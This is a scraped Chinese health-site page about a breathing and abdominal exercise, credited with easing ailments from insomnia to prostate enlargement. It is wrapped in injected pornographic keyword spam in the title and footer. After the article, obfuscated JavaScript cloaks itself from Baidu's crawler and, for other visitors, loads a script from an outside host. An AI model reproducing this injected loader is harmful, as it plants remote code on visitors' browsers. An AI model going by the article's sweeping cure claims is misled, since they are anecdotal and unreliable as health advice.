久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

息息歸臍健身法有什么功效

2015-12-07 19:51:30  來源:360常識網(wǎng)   熱度:
導(dǎo)語:日出時,空氣清新沁人,正是活動身體、吐故納新的最佳時刻。此時,我喜歡在綠地或公園的草坪上專心致志地練習(xí)息息歸臍健身法。

站立

息息歸臍健身法有什么功效

息息歸臍健身法的動作要領(lǐng)是:先慢慢地深吸一口氣,鼓腹,提肛,接著吞咽口中產(chǎn)生的唾液,再慢慢地深呼一口氣,以增強肺活量和胃腸功能。

堅持練習(xí)息息歸臍健身法后,我感覺自己的身體狀態(tài)越來越好。原來經(jīng)常光顧的胃痛、腹瀉、失眠癥等疾病已經(jīng)極少出現(xiàn),就連困擾了十多年之久的前列腺增生和腰腿痛的癥狀也大大減輕。

最近請教知名中醫(yī)才得知,按照中醫(yī)理論解釋,息息歸臍健身法就是借鑒了我國古代養(yǎng)生家冷謙的千古名言:“一吸便提,息息歸臍,一提便咽,水火相見。”

腹居人體中部,通過腹部鼓蕩、吞津等動作,可以通和上下,分理陰陽,促進(jìn)血液循環(huán)和新陳代謝,去舊生新,充實五臟六腑,又能驅(qū)外感之諸邪,清內(nèi)生之百病,是一條強身健體、延年益壽的有效途徑。堅持鍛煉,還可以預(yù)防老年習(xí)慣性便秘,消除堆積在腹部的脂肪,預(yù)防多種代謝疾病的發(fā)生。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 久久这里只有精品首页 | 伊人午夜| 久草网址 | 美女久久 | 国产精品国产成人国产三级 | 九九在线视频 | 毛片大全| 久久午夜视频 | 福利精品| 黄色av网站在线播放 | 特黄特黄视频 | 国产高清精品一区二区三区 | 污视频链接 | 久久精品国产免费 | 狠狠操精品视频 | 黄色av观看 | 欧美精品导航 | 精品亚洲成a人片在线观看 99在线免费视频 | 久久精品91久久久久久再现 | 午夜爽爽爽 | 男女网站 | 成人亚洲一区二区 | 日本三级在线观看网站 | 日韩毛片网 | 欧美激情一区二区三级高清视频 | 欧美色性 | 四虎影视在线 | 国产精品美女www爽爽爽动态图 | 久久激情网 | 涩涩涩涩涩涩 | 日韩欧美中文字幕在线视频 | 三级黄视频在线观看 | www.成人在线视频 | 欧美在线影院 | 日本精品一区 | 永久91嫩草亚洲精品人人 | 呦呦网 | 91精品国产综合久久久久久软件 | 国产综合亚洲精品一区二 | 中文字幕二区 | 国内久久精品 |